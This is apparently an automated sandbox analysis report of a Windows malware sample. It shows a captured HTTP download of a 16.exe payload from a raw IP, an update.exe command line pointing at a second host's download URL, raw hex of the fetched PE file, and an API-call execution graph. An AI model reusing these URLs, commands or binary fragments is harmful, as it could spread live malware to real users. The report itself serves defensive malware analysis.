fc d0 c2 c1 cb c6 a8 31 a1 a3 2f 6e 32 2e d3 c5 bb af b8 f6 c6 a8 32 a1 a3 2f 6e 33 2e d0 c2 d4 f6 b8 f6 c6 a8 a1 a3 2f 6e 34 2e cc e1 c9 fd c1 cb d3 c3 bb a7 b5 c4 ca b9 d3 c3 cc e5 d1 e9 a3 ac b8 d0 be f5 d6 b1 bd d3 c0 ad c2 fa a1 a3 [TRUNCATED]
        Data Ascii: 4.816http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe 1.1/n2.2/n3./n4.
        Nov 20, 2024 09:14:57.204302073 CET132OUTGET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1
        User-Agent: Agent7220484
        Host: 42.193.100.57
        Cache-Control: no-cache
        Nov 20, 2024 09:14:58.259481907 CET1236INHTTP/1.1 200 OK
        Content-Type: application/octet-stream
        Last-Modified: Tue, 23 Jul 2024 08:08:40 GMT
        Accept-Ranges: bytes
        ETag: "db12387d7dcda1:0"
        Server: Microsoft-IIS/8.5
        Date: Wed, 20 Nov 2024 08:14:58 GMT
        Content-Length: 6123520
        Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
        Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Yf+wv@hP.text `.rdataxS'@@.data9@.vmp06)?``.vmp1\@h\``.rsrc\@@
        Nov 20, 2024 09:14:58.259499073 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:58.259514093 CET448INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:58.259525061 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:58.259537935 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii: @1%vH6A(|}M-<_[Y]gH3$$,VaeS^i*w/7
        Nov 20, 2024 09:14:58.259623051 CET304INData Raw: d3 da 80 ca 3a 8f 44 25 00 8d bf fc ff ff ff d2 ea 8b 17 3b f8 66 81 fd c0 02 33 d3 f8 f7 da f8 f9 81 f2 ba 10 94 1e e9 35 35 53 00 f7 d1 e9 26 12 0d 00 f8 a9 be 2f 02 30 81 f1 33 2b c3 27 66 3b da 0f c9 33 d9 03 f1 e9 57 43 08 00 c0 73 b6 b9 28
        Data Ascii: :D%;f355S&/03+'f;3WCs(~nm);H5aICxP8H-*B#XODz&(rln8R_H/EQtl1ya~Wk7|&r$je'F=
        Nov 20, 2024 09:14:58.525998116 CET1236INData Raw: 86 ef fd 5e e5 d8 61 12 ed 67 3f 4d b5 a0 91 23 54 52 6e 2e bb c2 4e 67 21 b9 d7 cb 4e f4 3d d9 4a e9 a2 f7 9d 0e ba 7a 29 2f 40 ae 28 72 09 6b e9 9b 2a b1 ad 84 48 46 b1 00 2d d6 f1 53 2f 06 41 0e ca d2 79 d8 f1 8f a2 4c f3 f1 93 f7 9d 02 0e 00
        Data Ascii: ^ag?M#TRn.Ng!N=Jz)/@(rk*HF-S/AyLayBs\AHhwn:fLEpRi4lLgqo%Y*>Zcq6N}5B&koCZLUX>{x'Z D*uRW8qlp`e?s
        Nov 20, 2024 09:14:58.526017904 CET1236INData Raw: 88 08 c0 d2 55 f9 81 ef 04 00 00 00 80 de 14 c1 f2 2a 66 0f ba f2 49 8b 17 f8 f7 c4 10 41 1c 59 33 d3 81 f2 df 7d 4d 1d f8 66 f7 c5 4a 5e f7 da e9 b5 c7 0c 00 f8 33 da 81 ff 66 52 8e 59 66 f7 c1 c9 70 e9 c0 3f 0a 00 81 f2 27 55 c4 32 0f ca e9 ab
        Data Ascii: U*fIAY3}MfJ^3fRYfp?'U2VY[%.tFfSffEffD%3SfD%;ffUffffffEfD%f3
        Nov 20, 2024 09:14:58.526032925 CET1236INData Raw: f4 a1 00 89 4b 31 96 b9 4c 46 2c e8 45 df ba d8 42 a8 19 4d 26 36 8f 7d 21 41 35 2c 28 d8 a3 1c 2f af 56 11 27 22 c0 21 20 55 7a 70 29 cc ec 40 2e bb 4f d5 4a 25 d9 e5 4d 52 63 b4 44 cb f5 84 43 bc 64 99 fc 2c f2 a9 fb 5b 48 f8 f2 c2 de c8 f5 b5
        Data Ascii: K1LF,EBM&6}!A5,(/V'"! Uzp)@.OJ%MRcDCd,[H}]+m\Q<!ls@@putY%^"}+r,mHG]OzFk<A1INnPG$`@$#i*=-:`}#Mg,J8=
        Nov 20, 2024 09:14:58.526053905 CET672INData Raw: 7e d4 1a 62 dd bf 89 bd 41 fb ca 85 ef 43 8d e1 77 ea 27 07 f5 f8 15 ca 7a 3a cf 0a 6c c2 02 3f b6 ab 4e b0 00 93 f4 41 51 cc 74 b3 00 02 56 16 5e 96 46 78 09 a9 33 c1 29 a1 1d df c2 90 1d e2 29 08 8a fc db bd 00 de 77 0a 5e ca 1e b6 e5 7b 39 92
        Data Ascii: ~bACw'z:l?NAQtV^Fx3))w^{92CJzv^qTh^Zv4lfpSJW^(^UA=?}[a^0du$WL"ePFr^@?-
        Nov 20, 2024 09:14:58.526211023 CET1236INData Raw: e9 2a 9a 0f 00 35 d4 29 7a 66 e9 ce 1c 02 00 66 0f b6 06 8a 4e 02 66 81 f9 8f 10 f9 8d b6 fe ff ff ff f9 e9 26 f8 53 00 f7 d2 33 da 66 81 fe 22 67 8d bf fc ff ff ff f5 f7 c7 44 4f 2e 50 89 17 c0 c2 1b 66 0f 42 d7 8b 54 25 00 f7 c1 73 52 7e 6d f8
        Data Ascii: *5)zffNf&S3f"gDO.PfBT%sR~m3M?x*ffIUZAA;UHfpqfwD14$HM]@:McDMs3f;fJ3;3WD%Uff3E;7L%


        Click to jump to process

        Click to jump to process

        Click to dive into process behavior distribution

        Click to jump to process

        Target ID:0
        Start time:03:14:41
        Start date:20/11/2024
        Path:C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
        Wow64 process (32bit):true
        Commandline:"C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe"
        Imagebase:0x400000
        File size:876'544 bytes
        MD5 hash:F5B663E9AA9555B45BD9E88221083781
        Has elevated privileges:true
        Has administrator privileges:true
        Programmed in:C, C++ or other language
        Reputation:low
        Has exited:false

        Target ID:3
        Start time:03:14:54
        Start date:20/11/2024
        Path:C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
        Wow64 process (32bit):true
        Commandline:"C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe"
        Imagebase:0x400000
        File size:876'544 bytes
        MD5 hash:F5B663E9AA9555B45BD9E88221083781
        Has elevated privileges:false
        Has administrator privileges:false
        Programmed in:C, C++ or other language
        Reputation:low
        Has exited:false

        Target ID:4
        Start time:03:14:57
        Start date:20/11/2024
        Path:C:\Users\user\Desktop\ 16.exe
        Wow64 process (32bit):true
        Commandline:C:\Users\user\Desktop\ 16.exe
        Imagebase:0x400000
        File size:6'123'520 bytes
        MD5 hash:72AA0DBF54D8C3A47D3C3AA1BD875E1D
        Has elevated privileges:true
        Has administrator privileges:true
        Programmed in:C, C++ or other language
        Antivirus matches:
        • Detection: 100%, Joe Sandbox ML
        • Detection: 29%, ReversingLabs
        Reputation:low
        Has exited:true

        Target ID:7
        Start time:03:15:23
        Start date:20/11/2024
        Path:C:\Users\user\Desktop\update.exe
        Wow64 process (32bit):true
        Commandline:update.exe 1.2 16.exe http://38.6.175.25:901/down http://38.6.175.25:901
        Imagebase:0x400000
        File size:888'832 bytes
        MD5 hash:CA57BDFF74665A2A42A8CF4AD4593D9F
        Has elevated privileges:true
        Has administrator privileges:true
        Programmed in:C, C++ or other language
        Antivirus matches:
        • Detection: 100%, Joe Sandbox ML
        • Detection: 61%, ReversingLabs
        Reputation:low
        Has exited:true

        Reset < >

          Execution Graph

          Execution Coverage:2.4%
          Dynamic/Decrypted Code Coverage:0%
          Signature Coverage:11.9%
          Total number of Nodes:1244
          Total number of Limit Nodes:57
          execution_graph 67177 40e040 67190 491abd 67177->67190 67179 40e061 67180 40e0a3 67179->67180 67194 40a980 67179->67194 67182 40e09f 67182->67180 67183 40e0c0 GetStockObject LoadCursorA 67182->67183 67203 4244c0 67183->67203 67191 491ac3 67190->67191 67193 491ae1 67191->67193 67222 4820a7 67191->67222 67193->67179 67196 40a9a1 67194->67196 67195 40aa4d 67195->67182 67196->67195 67253 498c4b 29 API calls 2 library calls 67196->67253 67198 40a9fc 67254 498d27 32 API calls 2 library calls 67198->67254 67200 40aa23 67255 4994f3 39 API calls 2 library calls 67200->67255 67202 40aa37 67202->67182 67256 49b2c5 67203->67256 67206 4244e2 67261 4942f8 32 API calls 2 library calls 67206->67261 67207 40e132 67209 493cb4 67207->67209 67210 49b2c5 ctype 28 API calls 67209->67210 67211 493cfe 67210->67211 67215 40e13f 67211->67215 67294 493c26 67211->67294 67215->67180 67216 40aa70 67215->67216 67217 40aa80 67216->67217 67309 49602c 67217->67309 67225 4820b9 67222->67225 67226 4820b6 67225->67226 67228 4820c0 ctype 67225->67228 67226->67191 67228->67226 67229 4820e5 67228->67229 67230 482112 67229->67230 67233 482155 67229->67233 67235 482140 67230->67235 67247 488384 29 API calls ctype 67230->67247 67232 4821c4 RtlAllocateHeap 67244 482147 67232->67244 67233->67235 67236 482177 67233->67236 67234 482128 67248 489961 5 API calls __startOneArgErrorHandling 67234->67248 67235->67232 67235->67244 67250 488384 29 API calls ctype 67236->67250 67239 482133 67249 48214c LeaveCriticalSection ctype 67239->67249 67240 48217e 67251 48a404 6 API calls 2 library calls 67240->67251 67243 482191 67252 4821ab LeaveCriticalSection ctype 67243->67252 67244->67228 67246 48219e 67246->67235 67246->67244 67247->67234 67248->67239 67249->67235 67250->67240 67251->67243 67252->67246 67253->67198 67254->67200 67255->67202 67262 49b84d 67256->67262 67259 4244ca GetClassInfoA 67259->67206 67259->67207 67261->67207 67263 49b883 TlsGetValue 67262->67263 67264 49b856 67262->67264 67265 49b896 67263->67265 67271 49b870 67264->67271 67289 49b44d RaiseException TlsAlloc InitializeCriticalSection ctype 67264->67289 67268 49b8a9 67265->67268 67269 49b2d4 67265->67269 67267 49b881 67267->67263 67290 49b655 8 API calls ctype 67268->67290 67269->67259 67273 49b8e2 67269->67273 67279 49b4e6 EnterCriticalSection 67271->67279 67274 49b8ec __EH_prolog 67273->67274 67275 49b91a 67274->67275 67292 49c53c 6 API calls ctype 67274->67292 67275->67259 67277 49b903 67293 49c5ac LeaveCriticalSection 67277->67293 67280 49b505 67279->67280 67281 49b53f GlobalAlloc 67280->67281 67282 49b552 GlobalHandle GlobalUnlock GlobalReAlloc 67280->67282 67288 49b5c1 ctype 67280->67288 67284 49b574 67281->67284 67282->67284 67283 49b5d6 LeaveCriticalSection 67283->67267 67285 49b59d GlobalLock 67284->67285 67286 49b582 GlobalHandle GlobalLock LeaveCriticalSection 67284->67286 67285->67288 67291 48fec4 RaiseException ctype 67286->67291 67288->67283 67289->67271 67290->67269 67292->67277 67293->67275 67295 49b84d ctype 21 API calls 67294->67295 67296 493c37 67295->67296 67297 493c6a CreateWindowExA 67296->67297 67298 493c48 GetCurrentThreadId SetWindowsHookExA 67296->67298 67301 493c72 67297->67301 67298->67297 67299 493c65 67298->67299 67308 48fec4 RaiseException ctype 67299->67308 67302 49b84d ctype 21 API calls 67301->67302 67303 493c82 67302->67303 67304 49b2c5 ctype 28 API calls 67303->67304 67305 493c89 67304->67305 67306 493c96 UnhookWindowsHookEx 67305->67306 67307 493ca1 67305->67307 67306->67307 67307->67215 67310 40aabb 67309->67310 67311 496036 67309->67311 67313 495ffb 67310->67313 67317 493400 GetWindowLongA SetWindowLongA SetWindowPos 67311->67317 67314 496005 67313->67314 67316 40aaca 67313->67316 67318 4933e6 67314->67318 67317->67310 67321 493397 GetWindowLongA 67318->67321 67322 4933b8 SetWindowLongA 67321->67322 67323 4933b4 67321->67323 67322->67323 67324 4933ce SetWindowPos 67322->67324 67323->67316 67324->67323 67325 421740 67352 4936bf 67325->67352 67328 421891 IsWindow 67329 4218a2 KiUserCallbackDispatcher IsWindow 67328->67329 67342 42199c 67328->67342 67335 4218b7 67329->67335 67329->67342 67330 421789 GetParent 67357 493758 58 API calls ctype 67330->67357 67332 421912 67334 42195b IsWindow 67332->67334 67333 421796 67333->67328 67358 496156 IsWindowEnabled 67333->67358 67337 421968 67334->67337 67334->67342 67335->67332 67336 421907 IsWindow 67335->67336 67336->67332 67336->67342 67339 421976 GetFocus 67337->67339 67337->67342 67340 421982 IsWindow 67339->67340 67339->67342 67341 42198d IsChild 67340->67341 67340->67342 67341->67342 67343 421827 IsWindow 67347 4217b1 67343->67347 67344 421845 GetParent 67359 493758 58 API calls ctype 67344->67359 67346 421856 IsWindowVisible 67346->67347 67347->67328 67347->67343 67347->67344 67347->67346 67349 421877 SetActiveWindow 67347->67349 67360 496156 IsWindowEnabled 67347->67360 67361 493758 58 API calls ctype 67349->67361 67351 421887 67353 49b84d ctype 21 API calls 67352->67353 67354 4936d1 67353->67354 67362 493ff1 67354->67362 67357->67333 67358->67347 67359->67347 67360->67347 67361->67351 67363 493ffe 67362->67363 67364 494020 CallWindowProcA 67362->67364 67363->67364 67366 49400c DefWindowProcA 67363->67366 67365 42174e 67364->67365 67365->67328 67365->67330 67365->67342 67366->67365 67367 422fc0 67370 422fa0 67367->67370 67373 41aad0 67370->67373 67372 422fb1 67374 41ab95 67373->67374 67375 41aafb 67373->67375 67376 41ae36 67374->67376 67379 41abc3 67374->67379 67454 481438 6 API calls 67374->67454 67377 41ab1a 67375->67377 67378 41ab23 GetProcAddress 67375->67378 67376->67372 67450 481438 6 API calls 67377->67450 67383 41ab43 67378->67383 67384 41ab78 67378->67384 67392 41ad01 67379->67392 67394 41abee 67379->67394 67451 424420 65 API calls ctype 67383->67451 67453 41aab0 35 API calls ctype 67384->67453 67387 41ab7f 67387->67372 67388 41ad06 LoadLibraryA 67390 41ad16 GetProcAddress 67388->67390 67388->67392 67389 41ab53 67452 41aeb0 132 API calls ctype 67389->67452 67390->67392 67392->67388 67396 41ad5c 67392->67396 67398 41ad48 FreeLibrary 67392->67398 67393 41ab67 67399 491d7c ctype 32 API calls 67393->67399 67395 41accc LoadLibraryA 67394->67395 67400 41ac42 67394->67400 67401 41ac1a 67394->67401 67395->67396 67397 41acd9 GetProcAddress 67395->67397 67396->67376 67402 41ad71 FreeLibrary 67396->67402 67403 41ad78 67396->67403 67397->67396 67405 41ace9 67397->67405 67398->67392 67399->67384 67435 491fc5 67400->67435 67406 491fc5 38 API calls 67401->67406 67402->67403 67412 41ade0 67403->67412 67413 41ad89 67403->67413 67405->67396 67408 41ac26 LoadLibraryA 67406->67408 67409 491d7c ctype 32 API calls 67408->67409 67411 41ac36 67409->67411 67410 491fc5 38 API calls 67414 41ac6c LoadLibraryA 67410->67414 67411->67397 67411->67400 67457 424420 65 API calls ctype 67412->67457 67455 424420 65 API calls ctype 67413->67455 67445 491d7c 67414->67445 67418 41ad9e 67456 41aeb0 132 API calls ctype 67418->67456 67420 41adf4 67458 41aeb0 132 API calls ctype 67420->67458 67422 491d7c ctype 32 API calls 67426 41ac8d 67422->67426 67424 41ae0f 67427 491d7c ctype 32 API calls 67424->67427 67425 41adb9 67428 491d7c ctype 32 API calls 67425->67428 67426->67397 67431 41acc4 67426->67431 67432 491fc5 38 API calls 67426->67432 67429 41ae20 67427->67429 67430 41adca 67428->67430 67429->67372 67430->67372 67431->67395 67431->67397 67433 41acb4 LoadLibraryA 67432->67433 67434 491d7c ctype 32 API calls 67433->67434 67434->67431 67436 491fcf __EH_prolog 67435->67436 67437 491fee lstrlenA 67436->67437 67438 491fea 67436->67438 67437->67438 67459 491f21 67438->67459 67440 49200c 67463 491af1 67440->67463 67443 491d7c ctype 32 API calls 67444 41ac58 67443->67444 67444->67410 67446 491d8c InterlockedDecrement 67445->67446 67447 41ac7c 67445->67447 67446->67447 67448 491d9a 67446->67448 67447->67422 67499 491c6b 31 API calls ctype 67448->67499 67450->67378 67451->67389 67452->67393 67453->67387 67454->67379 67455->67418 67456->67425 67457->67420 67458->67424 67460 491f35 67459->67460 67462 491f3b ctype 67459->67462 67468 491be9 67460->67468 67462->67440 67464 491b0e 67463->67464 67465 491b00 InterlockedIncrement 67463->67465 67484 491eb9 67464->67484 67466 491b1e 67465->67466 67466->67443 67471 491bfe 67468->67471 67472 491bf5 67468->67472 67469 491c06 67475 4806bb 67469->67475 67471->67469 67473 491c45 67471->67473 67472->67462 67474 491abd ctype 29 API calls 67473->67474 67474->67472 67482 483ff4 67475->67482 67477 4806c5 EnterCriticalSection 67478 4806e3 67477->67478 67479 480714 LeaveCriticalSection 67477->67479 67483 4915a6 29 API calls ctype 67478->67483 67479->67472 67481 4806f5 67481->67479 67482->67477 67483->67481 67485 491ec9 lstrlenA 67484->67485 67486 491ec5 67484->67486 67485->67486 67489 491e3c 67486->67489 67488 491ed9 67488->67466 67492 491d53 67489->67492 67491 491e4a ctype 67491->67488 67493 491d63 67492->67493 67494 491d77 67493->67494 67498 491cb3 32 API calls ctype 67493->67498 67494->67491 67496 491d6f 67497 491be9 ctype 31 API calls 67496->67497 67497->67494 67498->67496 67499->67447 67500 422f80 67503 440f30 GetProcessHeap 67500->67503 67504 440fa5 GetModuleFileNameA 67503->67504 67505 440f93 OleInitialize 67503->67505 67556 482777 67504->67556 67505->67504 67507 440fc7 67508 440fd0 67507->67508 67509 440feb 67507->67509 67510 491eb9 ctype 35 API calls 67508->67510 67562 491d07 67509->67562 67512 440fe7 67510->67512 67513 491eb9 ctype 35 API calls 67512->67513 67514 44100a SetCurrentDirectoryA 67513->67514 67515 44102d 67514->67515 67516 441061 LoadCursorA GetStockObject 67515->67516 67517 4244c0 33 API calls 67516->67517 67518 44109d 67517->67518 67519 493cb4 32 API calls 67518->67519 67520 4410b1 GetCurrentThreadId 67519->67520 67521 4410c6 67520->67521 67527 44113a 67521->67527 67566 40a460 7 API calls 67521->67566 67523 422f8d 67524 44110b 67567 40a460 7 API calls 67524->67567 67529 4411ff 67527->67529 67570 40a460 7 API calls 67527->67570 67528 4411e6 67571 40a460 7 API calls 67528->67571 67529->67523 67572 49230e 67529->67572 67530 441119 67568 40a460 7 API calls 67530->67568 67534 441129 67569 40a460 7 API calls 67534->67569 67536 44122b 67575 498c4b 29 API calls 2 library calls 67536->67575 67538 44126e 67576 417710 46 API calls ctype 67538->67576 67540 441281 67577 498d27 32 API calls 2 library calls 67540->67577 67542 44129a 67578 4994f3 39 API calls 2 library calls 67542->67578 67544 4412a6 67579 49234c 23 API calls 67544->67579 67547 4413cc 67581 409f30 GetProcessHeap HeapFree 67547->67581 67549 4413d4 67582 417650 64 API calls ctype 67549->67582 67551 4413ea 67583 409f30 GetProcessHeap HeapFree 67551->67583 67553 44144e 67584 409f30 GetProcessHeap HeapFree 67553->67584 67555 4412ae 67580 416cd0 7 API calls 67555->67580 67557 482794 67556->67557 67559 482785 67556->67559 67585 488384 29 API calls ctype 67557->67585 67559->67507 67560 48279c 67586 4883e5 LeaveCriticalSection 67560->67586 67563 491d24 67562->67563 67564 491d0f 67562->67564 67563->67512 67565 491eb9 ctype 35 API calls 67564->67565 67565->67563 67566->67524 67567->67530 67568->67534 67569->67527 67570->67528 67571->67529 67587 492324 GetLastError 67572->67587 67574 49231a 67574->67536 67575->67538 67576->67540 67577->67542 67578->67544 67579->67555 67580->67547 67581->67549 67582->67551 67583->67553 67584->67523 67585->67560 67586->67559 67588 49b84d ctype 21 API calls 67587->67588 67589 49233d SetLastError 67588->67589 67589->67574 67590 493804 67591 493816 67590->67591 67592 493811 67590->67592 67598 49377f 67591->67598 67594 49381f 67595 49383a DefWindowProcA 67594->67595 67596 493828 67594->67596 67595->67592 67601 49358d 67596->67601 67611 4936e6 67598->67611 67600 493786 ctype 67600->67594 67602 493597 __EH_prolog 67601->67602 67603 49b84d ctype 21 API calls 67602->67603 67605 4935af 67603->67605 67604 49360c 67625 4945bb 67604->67625 67605->67604 67635 49341a GetWindowRect GetWindowLongA 67605->67635 67608 493635 67608->67592 67612 4936f0 __EH_prolog 67611->67612 67619 49b2eb 67612->67619 67614 4936f6 ctype 67615 491abd ctype 29 API calls 67614->67615 67618 493734 ctype 67614->67618 67616 493718 67615->67616 67616->67618 67624 497766 29 API calls 2 library calls 67616->67624 67618->67600 67620 49b2c5 ctype 28 API calls 67619->67620 67621 49b2f0 67620->67621 67622 49b84d ctype 21 API calls 67621->67622 67623 49b301 67622->67623 67623->67614 67624->67618 67632 4936bf 23 API calls 67625->67632 67637 4187b9 67625->67637 67640 413210 67625->67640 67645 40cbb0 67625->67645 67662 40ef70 67625->67662 67749 4206c0 67625->67749 67626 4945dd 67627 49361d 67626->67627 67634 493ff1 2 API calls 67626->67634 67627->67608 67636 49343d 92 API calls 67627->67636 67632->67626 67634->67627 67635->67604 67636->67608 67759 423050 67637->67759 67639 4187c5 67639->67626 67641 4936bf 23 API calls 67640->67641 67642 413218 67641->67642 67643 41321d 67642->67643 67644 413231 SetTimer 67642->67644 67643->67626 67644->67643 67646 40cca5 67645->67646 67647 40cbd6 67645->67647 67648 4936bf 23 API calls 67646->67648 67973 4987cf 67647->67973 67650 40ccac 67648->67650 67650->67626 67656 40cc5c 67657 40cc5f FillRect 67656->67657 67658 493ff1 2 API calls 67657->67658 67659 40cc80 67658->67659 67988 498841 59 API calls 2 library calls 67659->67988 67661 40cc91 67661->67626 68001 498883 67662->68001 67666 40efb2 IsRectEmpty 67667 40efc6 GetClientRect 67666->67667 67668 40f54d 67666->67668 67669 40f0d4 IntersectRect CreateRectRgn 67667->67669 67674 40efe6 67667->67674 68051 4988f5 59 API calls 2 library calls 67668->68051 68009 4989c3 67669->68009 67672 40f561 67672->67626 67674->67669 68022 428730 GetProcessHeap HeapFree 67674->68022 67676 40f12f 67684 40f1a6 67676->67684 67685 40f139 67676->67685 67677 40f19e 67680 40f2eb 67677->67680 67690 40aaf0 GetSysColor 67677->67690 67678 40f16d 68028 40aaf0 67678->68028 68016 494123 67680->68016 67681 40f037 68023 429800 93 API calls 67681->68023 67684->67677 68032 428730 GetProcessHeap HeapFree 67684->68032 67685->67678 68026 42a120 133 API calls ctype 67685->68026 67695 40f2a3 67690->67695 67692 40f078 67697 40f093 67692->67697 67698 40f07d InflateRect 67692->67698 67693 40f312 67699 491d7c ctype 32 API calls 67693->67699 67694 40f334 GetCurrentObject 68039 4989ae 57 API calls 67694->68039 68037 498a80 58 API calls __EH_prolog 67695->68037 67696 40f15c 67696->67678 68027 409f30 GetProcessHeap HeapFree 67696->68027 68024 409f30 GetProcessHeap HeapFree 67697->68024 67698->67697 67748 40f323 67699->67748 67704 40f2b0 FillRgn 68038 498a1a 58 API calls 67704->68038 67705 40f203 68033 4295d0 79 API calls 67705->68033 67707 40f0b9 68025 409f30 GetProcessHeap HeapFree 67707->68025 67708 40f392 68042 497fdb 60 API calls 67708->68042 67714 40f238 67717 40f246 67714->67717 68034 498a1a 58 API calls 67714->68034 67715 40f35b 67715->67708 68040 40ab10 59 API calls 67715->68040 68035 409f30 GetProcessHeap HeapFree 67717->68035 67721 40f26c 68036 409f30 GetProcessHeap HeapFree 67721->68036 67722 40f37b 67722->67708 67724 40f382 67722->67724 68041 498017 59 API calls 67724->68041 67726 40f390 68043 4980f3 SetBkMode SetBkMode 67726->68043 67728 40f3f4 67729 40f438 67728->67729 67730 40f3fc 67728->67730 67732 40f488 67729->67732 67733 40f43d 67729->67733 68044 4981ab SetTextColor SetTextColor 67730->68044 67736 40f4d3 67732->67736 68046 4981ab SetTextColor SetTextColor 67732->68046 68045 4981ab SetTextColor SetTextColor 67733->68045 67734 40f40a OffsetRect 67734->67736 68047 4981ab SetTextColor SetTextColor 67736->68047 67738 40f44b OffsetRect 67738->67736 67740 40f4ee 68048 498017 59 API calls 67740->68048 67742 40f498 OffsetRect 67742->67736 67744 40f512 68049 498a1a 58 API calls 67744->68049 67746 40f527 67747 491d7c ctype 32 API calls 67746->67747 67747->67748 68050 498a1a 58 API calls 67748->68050 67750 498883 58 API calls 67749->67750 67751 4206e5 67750->67751 68055 498434 GetClipBox 67751->68055 67753 4206fb IsRectEmpty 67754 42070b 67753->67754 67755 42071c 67753->67755 68056 420220 190 API calls __ftol 67754->68056 68057 4988f5 59 API calls 2 library calls 67755->68057 67758 42072d 67758->67626 67767 41ca80 67759->67767 67761 42307f 67762 423088 67761->67762 67779 48fe45 67761->67779 67782 468d70 67761->67782 67824 468c30 67761->67824 67842 423610 FindFirstFileA 67761->67842 67762->67639 67768 41ca95 67767->67768 67778 41cb53 67767->67778 67769 41cab0 67768->67769 67772 41cac9 67768->67772 67845 41aeb0 132 API calls ctype 67769->67845 67771 41cabf 67771->67761 67773 41caf6 67772->67773 67776 41cb0f 67772->67776 67846 41aeb0 132 API calls ctype 67773->67846 67775 41cb05 67775->67761 67776->67778 67847 41aeb0 132 API calls ctype 67776->67847 67778->67761 67848 48faf8 67779->67848 67783 468d99 67782->67783 67899 4801e0 67783->67899 67786 468dbf 67788 480196 ctype 29 API calls 67786->67788 67787 468dc9 67925 480196 67787->67925 67790 468dc4 67788->67790 67940 48015a 32 API calls 2 library calls 67790->67940 67792 468ddd 67931 491dea 67792->67931 67793 468ee9 SHGetSpecialFolderPathA wsprintfA 67943 468fe0 CoCreateInstance MultiByteToWideChar 67793->67943 67797 468f27 67800 468f43 67797->67800 67801 468f2b 67797->67801 67798 468e9b 67798->67762 67799 468de7 67806 4801e0 51 API calls 67799->67806 67945 468f90 SHChangeNotify lstrlenA SHChangeNotify 67800->67945 67944 48015a 32 API calls 2 library calls 67801->67944 67804 468f3f 67804->67798 67805 468f54 67946 48015a 32 API calls 2 library calls 67805->67946 67808 468e10 67806->67808 67809 480196 ctype 29 API calls 67808->67809 67810 468e1b 67809->67810 67811 468e66 67810->67811 67812 468e1f RegOpenKeyA 67810->67812 67939 48015a 32 API calls 2 library calls 67811->67939 67812->67811 67814 468e38 RegSetValueExA 67812->67814 67815 468ea2 RegCloseKey 67814->67815 67816 468e5b RegCloseKey 67814->67816 67941 48015a 32 API calls 2 library calls 67815->67941 67816->67811 67817 468e76 67818 491d7c ctype 32 API calls 67817->67818 67818->67790 67820 468ebd 67821 491d7c ctype 32 API calls 67820->67821 67822 468ece 67821->67822 67942 48015a 32 API calls 2 library calls 67822->67942 67825 491dea 67 API calls 67824->67825 67826 468c65 67825->67826 67827 468cfc 67826->67827 67828 468c7f 67826->67828 67829 468c9a FindWindowA 67826->67829 67830 468d26 OpenProcess TerminateProcess 67827->67830 67831 468d0e 67827->67831 67832 491d7c ctype 32 API calls 67828->67832 67833 468ca7 GetWindowThreadProcessId 67829->67833 67834 468cb5 CreateToolhelp32Snapshot Process32First 67829->67834 67837 491d7c ctype 32 API calls 67830->67837 67836 491d7c ctype 32 API calls 67831->67836 67838 468c93 67832->67838 67833->67827 67834->67827 67835 468cd7 67834->67835 67835->67827 67841 468ced Process32Next 67835->67841 67954 481633 67835->67954 67836->67838 67840 468d50 67837->67840 67838->67762 67840->67838 67841->67827 67841->67835 67843 42362b FindClose 67842->67843 67844 42363e 67842->67844 67843->67762 67844->67762 67845->67771 67846->67775 